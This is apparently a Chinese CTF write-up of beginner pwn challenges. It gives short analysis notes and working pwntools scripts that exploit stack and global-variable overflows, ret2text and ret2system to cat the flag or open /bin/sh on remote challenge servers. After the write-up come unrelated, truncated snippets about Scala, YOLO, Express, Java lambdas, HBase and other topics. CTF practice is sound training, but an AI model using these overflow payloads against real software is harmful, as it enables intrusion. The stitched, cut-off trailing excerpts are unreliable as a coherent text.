nc连接题
连接后ls | cat flag
file checksec
有canary保护,不能栈溢出
ida64
先输入v5,v5不能等于1926。再输入v4,注意有gets函数,不限制输入,但无法溢出,点进去v4,v5
发现var_18是v5,var_20是v4,那么可以输入v4时将v5的值覆盖为1926,就可以cat flag了
脚本
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
zdb=remote("220.249.52.133",38796)
payload=b'a'*(0x20-0x18)+p64(1926)
zdb.sendlineafter("What's Your Birth?\n","2002")
zdb.sendlineafter("What's Your Name?\n",payload)
zdb.interactive()
file checksec 无canary保护,可以栈溢出
ida64
点进去sub_400686函数,发现是system(cat flag)
点进去unk_601068
下面的dword_60106c就是if中的条件。而read可输入10ull,可以将dword_60106c覆盖
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
zdb=remote("111.200.241.243",34376)
payload=b'a'*(0x60106C-0x601068)+p64(1853186401)
#注意此处a*(高地址-低地址),
#在栈中ida将高地址写在上面(地址用上往下是从高到低),
#而在汇编文本中高地址写在下面(从低到高)。
#之所以如此是因为栈的sp指针在栈顶,每输一个数据,sp减少,向下移,数据填充在高地址,这样就和汇编文本认知相符了
zdb.sendlineafter("lets get helloworld for bof\n",payload)
zdb.interactive()
file checksec
ida64
注意vuln()或者vulnerable()函数一般是ida认为有漏洞的函数
vulnerable:易受攻击的
可以栈溢出
callsystem函数可以得到shell
脚本
#!/usr/bin/env python3
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
zdb=remote("node3.buuoj.cn",27190)
payload=b'a'*(0x80-0x00+8)+p64(0x40059A)
zdb.sendlineafter("Hello, World\n",payload)
zdb.interactive()
file checksec
ida32
buf可以溢出
打开字符串窗口看看有没有/bin/sh
#!/usr/bin/env python3
from pwn import*
context(os="linux",log_level="debug")
zdb=remote("111.200.241.243",48130)
#payload=b'a'*(0x88-0x00+4)+p32(0x804845C)+p32(0x0804A024)
#text段中callsystem
#payload=b'a'*(0x88-0x00+4)+p32(0x804849E)+p32(0x0804A024)
# text段中callsystem
payload=b'a'*(0x88-0x00+4)+p32(0x08048320)+b'aaaa'+p32(0x0804A024)
#plt段中system
#以上三种payload都可以,extern段中不能用,其中plt段中多加了4个a
#在pwn中,一般我们调用plt表中gets函数,传递两个参数,第一个是返回地址,第二个是要写入字符串的地址(可能与此类似,加的4个a为system返回地址)
#payload=b'a'*(0x88-0x00+4)+p32(0x0804A038)+p32(0x0804A024)
#extern段中system
zdb.sendlineafter("Input:\n",payload)
zdb.interactive()
file checksec
ida32
可以输入一个name,长度为50,还可以输入一个s,有溢出漏洞
pwn函数中有system函数
地址为0x8055A
查看字符串窗口没有/bin/sh,但我们可以在name处输入一个/bin/sh,溢出调用system时把原来的echo hehehe覆盖掉,得到shell
name处地址
脚本
#!/usr/bin/env python3
from pwn import*
context(os="linux", log_level="debug")
#zdb = process("./cgpwn2")
zdb=remote("220.249.52.133",41107)
payload = b'a' * (0x26 - 0x00 + 4)
payload = payload + p32(0x804855A) + p32(0x804A080)
zdb.recvuntil("please tell me your name")
zdb.sendline("/bin/sh")
zdb.recvuntil("hello,you can leave some message here:\n")
zdb.sendline(payload)
zdb.interactive()
文章正文通过隐式转换,程序员可以在编写Scala程序时故意漏掉一些信息,让编译器去尝试在编译期间自动推导出这些信息来,这种特性可以极大的减少代码量,忽略那些冗长,过于细节的代码。1、Spark 中的隐式思考隐式转换是Scala的一大特性, 如果对其不是很了解, 在阅读Spark代码时候就会很迷糊,有人这样问过我?RDD这个类没有reduceByKey,groupByKey等函数...
阅读笔记:You Only Look Once: Unified, Real-Time Object Detection背景算法设计网络结构实验设计\quad\quadYOLO算法(原文链接:https://arxiv.org/abs/1506.02640)是CVPR2016上由Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi四...
Express 是一个很小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。使用 Express 可以快速地搭建一个完整功能的网站,它提供了精简的基本 Web 应用程序功能,而不会隐藏您了解和青睐的 Node.js 功能。比如helloworld.js代码// 引入 express 模块var express = require('express');// 创建 express 实例var app = express();// 响应HTTP
按照菜单上操作即可;上来这里报错,注释掉就行: /** * hide toolbar */ private void hideToolBar(){ //getSupportActionBar().hide(); } 转载于:https://www.cnblogs.com/hoge66/p/11...
1.条件分支:if 条件:条件为真(True)执行的语句else:条件为假(False)执行的语句其中,if的条件多配合Python的比较操作符使用:、>=、==、!=2.while循环语法:while 条件:条件为真执行的语句3.生成随机数import random # 导入模块num = random.randint
Lambda表达式Lambda基础语法Java8中引用入了一个新的操作符:“->”,该操作符称为箭头操作符或者Lambda操作符。箭头操作符将Lambda表达式拆分成两部分:左侧:Lambda表达式的参数列表右侧:Lambda表达式的要执行的功能,即Lambda体语法格式:无参数,无返回值Runnable r = () -> System.out.println("Hello World");一个参数(小括号可以省略不写),无返回值Consumer
题图:Photo by Pankaj Patel on Unsplash本文原创发布于微信公众号“洛奇看世界”。本文主要介绍’repo manifest’命令的使用,如果只对结论感兴趣,请直接跳转到 [第4节 总结]。说明:本文基于repo v1.12.37和repo launcher 1.23文中manifest文件有时也称为清单文件文中对40个字符的commit id进行...
效果图页面构成 <span class="box" id="box-lj-sgj"> <i class="hd"></i> <i class="hdt"></i> </span>css.tab-con .box,.tab-con .box .hd,.tab-con .box .hdt{ dis...
#include<stdio.h>#include<string.h>void tongji(char a[20]);//对tongji函数的声明;int main(){ char a[20]; gets(a); tongji(a);//调用tongji函数; getchar(); getchar(); return 0;}void tongj...
Get 和 Scan 操作都可以使用过滤器来设置输出的范围,类似于 SQL 里面的 Where 查询条件。使用 show_filters 命令可以查看当前 HBase 支持的 过滤器类型。show_filters使用过滤器的语法格式:scan '表名',{Filter => ”过滤器(比较运算符,’比较器’)”}解释:Filter=>指明过滤的方法,整体可用大括号引用,也可...
在Windows平台上,可以绑定拥有特定扩展名的文件,使用特定的程序打开。比如,PDF文件就使用Acrobat Reader打开。这样做确实极大的方便了用户的使用体验。其实,在Linux平台上,也提供了类似的功能,甚至从某种意义上来说更加的强大。Linux的内核从2.6开始就引入了一个叫做Miscellaneous Binary Format(binfmt_misc)的机制,可以通过要打开文件
本系列文章仅从个人有限的对事物的认知出发,如有不同意见,请温和提出态度,毕竟都是成年人,别那么幼稚。我一直都认为,任何正当的职业都一样,本质都是首先养活自己,在满足这个前提下实现为人民服务的崇高理想。我是一个程序员,我很喜欢我的职业和从事这个职业的大部分人。程序员是一个很奇葩的职业,在外界很多人看来高科技,高智商,高收入的一群人。殊不知,绝大部分程序员都拿着一份不高的薪水,整天被...